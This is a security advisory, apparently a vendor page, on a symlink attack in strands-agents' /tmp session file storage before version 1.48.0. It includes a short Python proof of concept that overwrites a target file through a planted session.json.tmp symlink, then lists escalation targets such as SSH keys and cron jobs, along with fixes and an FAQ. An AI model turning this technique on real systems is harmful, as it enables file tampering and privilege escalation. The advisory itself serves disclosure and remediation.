GHSA-3W55-933P-8PV5

Strands Agents: Local Privilege Escalation via Symlink Attack in Default Session File Storage

import os, json, tempfile, shutil

# Setup: simulate the vulnerable write pattern
session_dir = "/tmp/strands/sessions/session_test/"
os.makedirs(session_dir, exist_ok=True)

# Attacker: create symlink at the .tmp write path
target_file = "/tmp/symlink_attack_proof.txt"
with open(target_file, "w") as f:
    f.write("ORIGINAL - should not be overwritten\n")

symlink_path = os.path.join(session_dir, "session.json.tmp")
if os.path.exists(symlink_path):
    os.unlink(symlink_path)
os.symlink(target_file, symlink_path)

# Victim: FileSessionManager._write_file() equivalent
with open(symlink_path, "w", encoding="utf-8", newline="\n") as f:
    json.dump({"session_id": "test", "injected": True}, f, indent=2)

# Verify: target file overwritten
with open(target_file) as f:
    print(f"Target file content: {f.read()}")
    # Output: {"session_id": "test", "injected": true}

# Cleanup
os.unlink(symlink_path)
os.unlink(target_file)
shutil.rmtree(session_dir)

• Arbitrary file overwrite, local attacker can write attacker-controlled content to any file writable by the victim process
• Local privilege escalation, via overwriting shell configs, SSH keys, cron jobs, or systemd user services
• Persistent agent compromise, via session data injection, the agent follows attacker instructions indefinitely

GHSA-3W55-933P-8PV5 has a CVSS score of 7.1 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.48.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Use a user-private default directory, ~/.strands/sessions/ or $XDG_DATA_HOME/strands/sessions/ instead of /tmp/
2. Use os.open() with O_NOFOLLOW | O_CREAT | O_WRONLY, refuses to follow symlinks
3. Use tempfile.mkstemp() for atomic writes instead of predictable .tmp suffix
4. Verify directory ownership matches the current user before writing
5. Add optional integrity verification (HMAC) on session files to detect tampering

1. What is GHSA-3W55-933P-8PV5? GHSA-3W55-933P-8PV5 is a high-severity security vulnerability in strands-agents (pip), affecting versions < 1.48.0. It is fixed in 1.48.0.
2. How severe is GHSA-3W55-933P-8PV5? GHSA-3W55-933P-8PV5 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of strands-agents are affected by GHSA-3W55-933P-8PV5? strands-agents (pip) versions < 1.48.0 is affected.
4. Is there a fix for GHSA-3W55-933P-8PV5? Yes. GHSA-3W55-933P-8PV5 is fixed in 1.48.0. Upgrade to this version or later.
5. Is GHSA-3W55-933P-8PV5 exploitable, and should I be worried? Whether GHSA-3W55-933P-8PV5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-3W55-933P-8PV5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-3W55-933P-8PV5? Upgrade strands-agents to 1.48.0 or later.

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